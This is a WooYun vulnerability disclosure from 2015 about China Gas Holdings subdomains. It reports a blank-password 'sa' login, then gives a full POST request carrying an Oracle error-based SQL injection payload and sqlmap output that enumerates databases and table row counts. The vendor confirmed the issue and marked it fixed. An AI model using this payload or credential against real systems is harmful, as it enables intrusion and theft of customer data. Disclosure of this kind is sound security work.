当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0157728

漏洞标题：中国燃气控股有限公司分站弱口令导致用户/分站POST注入

相关厂商：中国燃气控股有限公司

漏洞作者： 路人甲

提交时间：2015-12-02 20:00

修复时间：2016-01-17 18:18

公开时间：2016-01-17 18:18

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-02： 细节已通知厂商并且等待厂商处理中
2015-12-03： 厂商已经确认，细节仅向厂商公开
2015-12-13： 细节向核心白帽子及相关领域专家公开
2015-12-23： 细节向普通白帽子公开
2016-01-02： 细节向实习白帽子公开
2016-01-17： 细节向公众公开

简要描述：

分站弱口令导致用户/分站POST注入 100w用户资料泄露

详细说明：

1.弱口令
http://hr.chinagasholdings.com/
用户名:sa
没有密码


1.png


2.POST注入
POST /zd/qt002loginservlet HTTP/1.1
Host: scm.chinagasholdings.com
Proxy-Connection: keep-alive
Content-Length: 45
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://scm.chinagasholdings.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://scm.chinagasholdings.com/zd/cc02/cclogin.jsp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=61B3BD04A445DD425BF08F04E13EC134; JSESSIONID=F3486BBF5CC2B3DDD4BA64F461117636; ADCookie=20111125; gsid=1
loginid=admin&loginpwd=1&loginGsId=1&csr_mac=
loginGsId 注入
sqlmap identified the following injection points with a total of 506 HTTP(s) requests:
---
Parameter: loginGsId (POST)
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)
    Payload: loginid=admin&loginpwd=1&loginGsId=1' AND 4978=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(120)||CHR(122)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (4978=4978) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(107)||CHR(98)||CHR(122)||CHR(113)) AND 'VHTx'='VHTx&csr_mac=
---
web application technology: JSP
back-end DBMS: Oracle
available databases [23]:
[*] APEX_030200
[*] APPQOSSYS
[*] CHZH
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] LPGDQ
[*] LPGJQ
[*] MDSYS
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SAASZHONGYOU
[*] SCMZHONGYOU
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB
Database: SAASZHONGYOU
+-----------------------------+---------+
| Table                       | Entries |
+-----------------------------+---------+
| SHOUFU_MINGXI               | 6364171 |
| DEPOT_IO_DETAIL             | 6100654 |
| ST_CHEDUI_MINGXI            | 5491399 |
| WZ_LPG_JIAGE_LISHI          | 5359957 |
| SALESTRANS_CHEDUI           | 4559707 |
| CHE_DB_MINGXI               | 2935734 |
| CHONGZHUANG_SHIJI_MX        | 2926824 |
| SCAN_DETAIL                 | 2734149 |
| STA_RIJIE_KUCUN             | 2414768 |
| CHE_DIAOBOGONGDAN           | 2156577 |
| CALLLOG                     | 1398570 |
| STA_RIJIE_XIAOSHOU2         | 1238714 |
| PZQ_ZYMX                    | 1001474 |
| ST_ZHONGLIANG_MINGXI        | 808595  |
| ZJZH_CAOZUOMINGXI           | 734980  |
| LOGINHIS_LOG                | 731641  |
| ACCOUNT_MONTH_BALANCE       | 629913  |
| WZ_LPG_JIAGE_RIZHI          | 567315  |
| PZQ_BDLS                    | 548256  |
| KEHU                        | 535955  |
| PINGZHUANGQI                | 529949  |
| T_LPG_USER                  | 524463  |
| ZIJINZHANGHU                | 484609  |
| BARCODE_CAN_LST             | 404229  |
| ZUXIEPING_MX                | 350608  |
| CSRLOGINLOG                 | 249629  |
| STA_RIJIE_DIAOBO            | 219269  |
| DB_MINGXI                   | 143814  |
| RIJIE_JILU                  | 127368  |
| BARCODE_LOG                 | 93881   |
| MENDIAN_FY_TYPE             | 86116   |
| MENDIAN_TUICAN              | 83975   |
| ST_GONGDAN                  | 68184   |
| SERVICELOG                  | 67506   |
| YIDONG_CHANGTU_DUIZHAO      | 65000   |
| DIAOBOGONGDAN               | 63409   |
| INVENTORY_DAY_BOOK          | 54054   |
| WZ_LPG_JIAGE                | 49778   |
| CUSTOMER_CREDIT_DETAIL      | 48341   |
| VOUCHER_ASSISTANT           | 45569   |
| VOUCHER_ENTRY               | 41947   |
| GANGPING_XIAOSHOU           | 38046   |
| KUCUN_JIANKONG              | 27845   |
| BUSINESS_REPORT             | 27207   |
| QIPING_GUANZHUANG           | 25507   |
| PREPAREDVOUCHER             | 21699   |
| TRANSFER_LOG                | 20123   |
| WZ_LPG_JIAGE_20111017_NEW   | 19604   |
| WZ_LPG_JIAGE_20111017       | 19153   |
| BORROW_RECORDS              | 17971   |
| BOTTLE_DETECTION            | 15481   |
| RUKUDAN                     | 15016   |
| PURCHASE_ORDER              | 14646   |
| VOUCHER                     | 13925   |
| WZ_LPG_JIAGE_TEMP           | 12062   |
| CAOZUO_LOG                  | 8173    |
| DEPOT_BLN                   | 6174    |
| WZ_LPG_JIAGE_BAK            | 6094    |
| ACCOUNT_PAYABLE_PARTICULARS | 5457    |
| ASSTACTTYPE                 | 5172    |
| CHONGZHUANGDAN_MX           | 5132    |
| KUCUNTIAOZHENG              | 5033    |
| INVOICE_INFORMATION         | 4665    |
| MENU_ITEM                   | 4452    |
| CAOZUOGONGDAN               | 4393    |
| CLICKNUMTABLE               | 4130    |
| DANWEIKEHU                  | 3962    |
| RETURN_GAS                  | 3951    |
| DEPOT_BLN_TEMP              | 3670    |
| IMPORT_LOG                  | 3670    |
| ZUXIEPING_MX_LISHI          | 3497    |
| INVOICE_BALANCE             | 3487    |
| CHENGSHI                    | 3471    |
| TEST                        | 3454    |
| SALESTRANS                  | 3001    |
| CSRGROUP                    | 2828    |
| ADVANCE_PAYMENT_ACCOUNT_PAR | 2298    |
| RETURNVISIT                 | 2265    |
| STOCK_TAKING_RECORD         | 2253    |
| CHONGZHUANGDAN              | 2183    |
| BUSINESSTYPE                | 2134    |
| CALL_REASON_LOG             | 1925    |
| CSR                         | 1832    |
| AUTOWRITEOFFLOG             | 1466    |
| ACCOUNT_PAYABLE             | 1463    |
| TANKSALES                   | 1346    |
| DB_TUIHUOMINGXI             | 1297    |
| "LIMIT"                     | 1271    |
| STA_RIJIE_SHOUGONG          | 1038    |
| QUEST_SOO_EVENT_CATEGORIES  | 1002    |
| TESTJOB                     | 1002    |
| SHENGHUO_YONGQI             | 983     |
| IMPORT_UPDATE_LOG           | 820     |
| ALLOWANCE                   | 818     |
| BASIC_CODE                  | 815     |
| OBJECTDETAIL                | 795     |
| VOUCHERTEMPLET_ENTRY        | 794     |
| ACCOUNT_TABLE               | 771     |
| STA_RIJIE_KUCUN_TEMP        | 511     |
| SAMPLE                      | 494     |
| XINPING_RUKU                | 487     |
| ZHISHIKUDIANJILV            | 464     |
| DEPORT                      | 457     |
| T_CO_ORG                    | 448     |
| BUMEN                       | 418     |
| RIJIE_RIQI                  | 400     |
| COST_RECORD                 | 386     |
| AGENTGROUP                  | 347     |
| TOUSU                       | 327     |
| MENDIAN_FY_TYPE_TEMP        | 288     |
| STA_RIJIE_XIAOSHOU2_RIZHI   | 282     |
| CHELIANG_MINGDAN            | 280     |
| WUZI                        | 278     |
| YUANGONG_ZHUANGTAI          | 278     |
| BARCODE_LOG_DETAIL          | 276     |
| ORDER_PLAN                  | 273     |
| CARGADOR_REPORT             | 270     |
| COST                        | 258     |
| VOUCHERTEMPLET_HEADER       | 258     |
| ADVANCE_PAYMENT_ACCOUNT     | 256     |
| SUPPLIER                    | 248     |
| OBJECTRALETION              | 247     |
| STA_MOBAN_XIAOSHOU          | 237     |
| SIJI                        | 235     |
| CREATEID                    | 223     |
| STA_MOBAN_DIAOBO            | 219     |
| YONGHU_JIBIE                | 216     |
| CHELIANG_ATTR               | 192     |
| OPERATE_RELATION_DETAIL     | 190     |
| STA_MOBAN_IODETAIL          | 183     |
| CYLINDER_HANDLING           | 175     |
| BOTTLE_INSPECTION           | 171     |
| BOTTLE_INSPECTION_DETAIL    | 171     |
| DEPOT_WZ                    | 168     |
| ADJUSTMENT_BILL             | 166     |
| BULLETIN                    | 148     |
| CZ_HAOCAIMINGXI             | 130     |
| BASIC_CODE_LIST             | 125     |
| WZ_RELATION                 | 108     |
| PANDIAN_MX                  | 96      |
| GUAKAODIAN_JIAGE            | 89      |
| LPG_MEASURE                 | 89      |
| ST_TUIHUO                   | 83      |
| ACCOUNTSOURCEMATCHDEF       | 79      |
| INVENTORY                   | 77      |
| CUSTOMER_CHANGE             | 72      |
| STA_MOBAN_KUCUN             | 70      |
| PERSONAL_SALES_STATISTICS   | 66      |
| CUSTOMEROFTANKSALES         | 57      |
| CHANPIN                     | 42      |
| CHUKUDAN                    | 41      |
| GONGSI_YINHANG              | 40      |
| PZQBD_DETAIL                | 40      |
| ZAXIANG_SHEZHI              | 40      |
| KNOWLEDGEITEM               | 39      |
| DEPORT_TYPE                 | 36      |
| DIQU                        | 36      |
| SHENGFEN                    | 34      |
| ACTTYPE_SOURCE              | 33      |
| OPERATE_RELATION            | 33      |
| VOUCHERTYPE_BIZ_RELATION    | 33      |
| ST_DINGQI                   | 32      |
| RESULT                      | 31      |
| GONGSI                      | 30      |
| TOUSU_FENLEI                | 28      |
| IMPORT_DETAIL               | 27      |
| STA_MOBAN_SHOUGONG          | 25      |
| DIANZICHENG                 | 22      |
| WZ_LPG_JIAGE_WAIT           | 22      |
| CALLTYPE                    | 21      |
| CAMPAIGN                    | 21      |
| COMPANY_ATTR                | 20      |
| ZHISHIKUSHOUCANGJIA         | 20      |
| ANSWER                      | 19      |
| BUMEN_LEIXING               | 19      |
| CHONGZHUANGXIAN             | 19      |
| ORDER_CONTRACT              | 18      |
| RKD_ZHUANGTAI               | 18      |
| CONTRACT                    | 17      |
| DIANZICHENG_SHOW            | 16      |
| DISTRIBUTE_AREA             | 16      |
| JIESUAN_DETAIL              | 15      |
| QUESTION                    | 14      |
| ACCOUNT_TYPE                | 12      |
| GOODSTYPE                   | 12      |
| WUZI_LEIBIE                 | 11      |
| CHONGZHUANGDAN_ZHUANGTAI    | 10      |
| LOGIN_LOG                   | 10      |
| SAMPLEREASON                | 10      |
| STORAGE_ALLOCATE_BILL       | 10      |
| TREETYPE                    | 10      |
| CALLREASON                  | 8       |
| DAO_GUAN                    | 8       |
| GUANCHANG_CHURUKU_YUANYIN   | 8       |
| PDA_ATTR                    | 8       |
| SHOUFU_LEIXING              | 8       |
| CI_PUBLIC_CODE              | 7       |
| CSRSKILLPRIORITY            | 7       |
| FK_FANGSHI                  | 7       |
| HETONG_ZHUANGTAI            | 7       |
| INIT_PARAMETERS             | 7       |
| ORDER_ZHUANGTAI             | 7       |
| STORAGE_ALLOCATE_BILL_STATE | 7       |
| ASST_INDIVIDUALIZE_CONF     | 6       |
| AUDIT_STATUS                | 6       |
| CALLFLAG                    | 6       |
| CUSTOMISED_ASSISTANT        | 6       |
| GROUPPRODUCT                | 6       |
| QUESTIONNAIRE               | 6       |
| SALESTRANS_PIFA             | 6       |
| ST_PIFA_MINGXI              | 6       |
| LPG_STOCK_LIST              | 5       |
| PERIODTYPE                  | 5       |
| SETTLEMENT_COMMUTING        | 5       |
| SIJI_ZHUANGTAI              | 5       |
| TOUSU_ZHUANGTAI             | 5       |
| YQZDENGJI                   | 5       |
| ACDGROUP                    | 4       |
| CODE_MAINTENANCE            | 4       |
| COST_RECORD_STATE           | 4       |
| CSRSTATUS                   | 4       |
| KEHU_LEIXING                | 4       |
| LOGIN_TYPE                  | 4       |
| NUMERAIRE_UNIT              | 4       |
| OBSTATUS                    | 4       |
| SAMPLERESULTSTATE           | 4       |
| SELL_PLAN                   | 4       |
| TASK_TYPE                   | 4       |
| ASSISTANT_TYPE              | 3       |
| CHONGZHUANGXIAN_ZHUANGTAI   | 3       |
| CONVEYANCE_MODE             | 3       |
| CONVEYANCE_MODE             | 3       |
| CREATETYPE                  | 3       |
| EMERGENCYID                 | 3       |
| GONGYINGSHANG_YINHANG       | 3       |
| LISTING_PRICE_SET           | 3       |
| PANDIANQINGDAN              | 3       |
| PEISONGFANGSHI              | 3       |
| PRODUCTCATEGORY             | 3       |
| XIEPINGCZ_JIJIA_FS          | 3       |
| XIEPINGCZ_XIAOSHOU_ZT       | 3       |
| XINGBIE                     | 3       |
| YSK_CHONGZHENGBIAOZHI       | 3       |
| YUANGONG_LEIXING            | 3       |
| ADJUSTMENT_BILL_STATE       | 2       |
| ADJUSTMENT_BILL_TYPE        | 2       |
| BARCODE_TEMP                | 2       |
| CHANPING_ZHUANGTAI          | 2       |
| CHONGZHUANGDAN_LEIXING      | 2       |
| CHONGZHUANGXIAN_LEIXING     | 2       |
| CHUQIGUAN                   | 2       |
| COSTTYPE                    | 2       |
| CREATEYQZID                 | 2       |
| CSRIVR                      | 2       |
| CUSTOMERIEFLAG              | 2       |
| DIANZHICHENG_ZHUANGTAI      | 2       |
| FAXJOBTYPE                  | 2       |
| FAXSTATUS                   | 2       |
| FILL_CHECK                  | 2       |
| GONGZUO_KUCUN               | 2       |
| GUANZHUANG_MOSHI            | 2       |
| IMPORT_TABLE                | 2       |
| KHTYPE                      | 2       |
| MATERIEL_SUB                | 2       |
| QUYU                        | 2       |
| SHOUFU_BIAOZHI              | 2       |
| SUPPLIER_TYPE               | 2       |
| TAX_TYPE                    | 2       |
| YESNO                       | 2       |
| CREATEID_DEPOT_IO_DETAIL    | 1       |
| CREATEID_PZQ_ZYMX           | 1       |
| CREATEID_SHOUFU_MINGXI      | 1       |
| DINGDAN_LEIXING             | 1       |
| FACTORY_STOCK               | 1       |
| GUAKAODIAN                  | 1       |
| INVENTORY_TYPE              | 1       |
| INVOICE_TYPE                | 1       |
| LOAD_METER                  | 1       |
| PURCHASEORDER_TYPE          | 1       |
| QUEST_SOO_PARSE_TIME_TRACK  | 1       |
| QUEST_SOO_VERSION           | 1       |
| RKD_TYPE                    | 1       |
| UNIT_TYPE                   | 1       |
+-----------------------------+---------+

漏洞证明：

RT

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-12-03 18:17

厂商回复：

yixiufu

最新状态：

2015-12-11：已修复